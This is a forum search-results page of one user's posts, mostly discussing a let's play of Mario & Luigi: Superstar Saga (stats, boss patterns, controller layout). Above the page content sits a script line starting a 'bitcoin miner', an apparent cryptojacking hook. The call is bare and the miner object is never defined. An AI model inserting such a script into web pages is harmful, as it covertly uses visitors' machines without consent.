<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmbx communitypge project

Search found 226 matches

Go to advanced search

by Shard1697
4 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Abducted Toad

boppo Speaking of which, I'm about halfway through it myself. I just got past the timed boss, which would very obviously wall someone who's doing piddly amounts of damage every turn without boosts . Just thunder bros. by itself is all you need for that even on a run with no POW increases from roulet...
by Shard1697
4 months ago
Forum: let's play
Topic: VIP 5 2019 - To everyone there is a boon, and a time to every rom hack under heaven
Replies: 293
Views: 20433

Re: VIP 5 2019 - Like a talent for missing the ground to those trying to fly

I only just realized that these spinies are supposed to be crabs. I thought they were just little heads with red pigtails or something on the sides.
by Shard1697
4 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - The Great Empire

I think Mush Badge would work out fine if he sees the high damage from it, sees that he doesn't need to invest as much in POW, and therefore uses points elsewhere. There's not much point of raising attack when you know you're reliably taking out normal enemies in one or two hits usually. It works o...
by Shard1697
4 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - The Legend of Randorland 3

it's so fucked that people have been posting trying to optimize raocow's stats and bro move usage this whole time and now when he flattens stuff with high stats and bro moves he gets "no, wait, don't have high attack+bro moves now everything's too short" there's no winning, doing badly means people ...
by Shard1697
4 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - The Legend of Randorland 3

I know I'm the wrong person be asking, but deep question time: What happened to the Let's in Let's Play? LPs have not been about that for at least like. a decade they are personality driven endeavors where the audience is there to watch, and maybe sometimes give gameplay advice, if asked for. this ...
by Shard1697
4 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Scarlet Devil Mario

wrt eeker's weird attack pattern: when they do their rush attack, the number of times they "sway"(make a weird noise) is one less than the number of times they clap(but always at least one). so if they clap three times, they'll sway twice before moving forward. if they clap once, they'll sway once. ...
by Shard1697
4 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Mushroom Kingdom Meltdown

High POW is not only funny, it's also actually smart in this game. Nuking everything as fast as possible is a really good way to win battles easily. I really don't like rally or random blocks. They feel tedious to use, they last so long and you don't really actually get that many coins out of them. ...
by Shard1697
4 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Mario Forever

So instead of just heading straight to the Hooniversity, I'd recommend you stay around town, and explore the outskirts. -The town has 2 sidequests. Thankfully, both are contained within the town as well, so no need to leave. One of them is slightly annoying, but it does teach you about a unique fun...
by Shard1697
4 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - World Of Illusion

The first two RPGs I played were Super Mario RPG and Partners in Time, and after that I instinctively go for timed hits in any RPG that has animated attacks even if they aren't actually a mechanic. When I was a kid playing RPGs I always always pressed buttons in time with attack animations, despite...
by Shard1697
4 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - :P :P :P

queen bean kinda just looks like a happy grandma

by Shard1697
5 months ago
Forum: let's play
Topic: Unfinished raocow LPs
Replies: 45
Views: 3630

Re: Unfinished raocow LPs

Sebby19 wrote:I still feel it's important to document it.
It doesn't matter in the end but I really don't understand what's "important" about it and I feel like if people brought up me rage quitting a game many years after the fact that would be. pretty annoying
by Shard1697
5 months ago
Forum: let's play
Topic: Unfinished raocow LPs
Replies: 45
Views: 3630

Re: Unfinished raocow LPs

I think reception to this would be entirely different if the title was "Non-100% raocow LPs", because that's what it actually is. You don't need to 100% a game to finish it, and you especially don't need to 100% a game to finish an LP of it. But either way, what's the point of listing things like th...
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - :P :P :P

-Hammering her main body does pusg her backward. Not sure if this really makes a difference. This is somewhat meaningful if you're doing a low stats run like I'm doing(only raising speed, no grinding and the weakest equipment available, although you don't have equipment unlocked yet anyways) becaus...
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Kouhai

every time I play this game right after getting the hammers I psyche myself out thinking that I should hold the button when attacking with hammers, when instead you just tap at a certain (fairly early)time.

I don't know why you hold the button to 'charge' only when defending, it's a strange system.
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Mario's Misadventure

This game absolutely showers you in healing items, and they're cheap to buy as well.
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - The Ninji Saga

Myself and many others absolutely did get walled in by accidentally only upgrading HP. I couldn't get past the piranha plant boss at the airport because it heals faster than I could damage it. I don't mean to be 'that guy', but no, you did not get walled because you only upgraded HP. Piranha mom on...
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - The Ninji Saga

An example of hand-holding I don't mind is pointing out that dumping all level-ups into POW will probably screw you over in the long run. Cause like, if we get to a point in the series where we can't progress cause level-ups were chosen badly, it's gonna ruin the fun for everyone. Having to grind t...
by Shard1697
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 53590

Re: JUMP logₑ(2)/P(1,2,1,(1)) - Half a jump is still a jump

XXI is a cool level but it could have done with ramping up the difficulty/'involvedness' of the gimmick more slowly, for a player who's not used to it yet(because it only applies in this level) there's a lot of parts that you're probably not gonna get until you've failed them once or twice.
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - The Ninji Saga

also like honestly it's a mario RPG

it's not that punishing, there doesn't need to be that much advice in general.
especially in terms of character building. it's not like you can really mess up mario or luigi's stats, whatever you do with the roulettes the game is still reasonable.
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Rob-Omb's Quest

I'll second that I like the battles being left in. It's not just because they're short, it's also that M&L battles are just fundamentally nice to watch and listen to. The animations are cute, the music is fun, the BWOOSH when you stomp on enemies is satisfying. It's all good give me more of it I wou...
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Super Challenge World

Plutia wrote: if you want a hard mode just reset whenever you take damage instead of complaining about the lack of one
Why is it not ok to say you wish the game had a hard mode? Don't gotta act snippy towards people expressing an honest(and also, pretty reasonable) opinion.
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Kamek's Revenge

Mandew wrote: It's moreso because of this:

https://i.imgur.com/Ll7S8rL.png
oh hey I was confusing gameboy advance SP layout with normal advance in my head
by Shard1697
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 45592

Re: Mario & Luigi: Superstar Saga - Kamek's Revenge

Is raocow still playing with A button below B button? Would be worth changing those around. Also probably worth swapping start and select tbh. although it's worth mentioning the reason this game uses start to swap positions instead of select is because start is on the righthand side of the GBA, not ...

Go to advanced search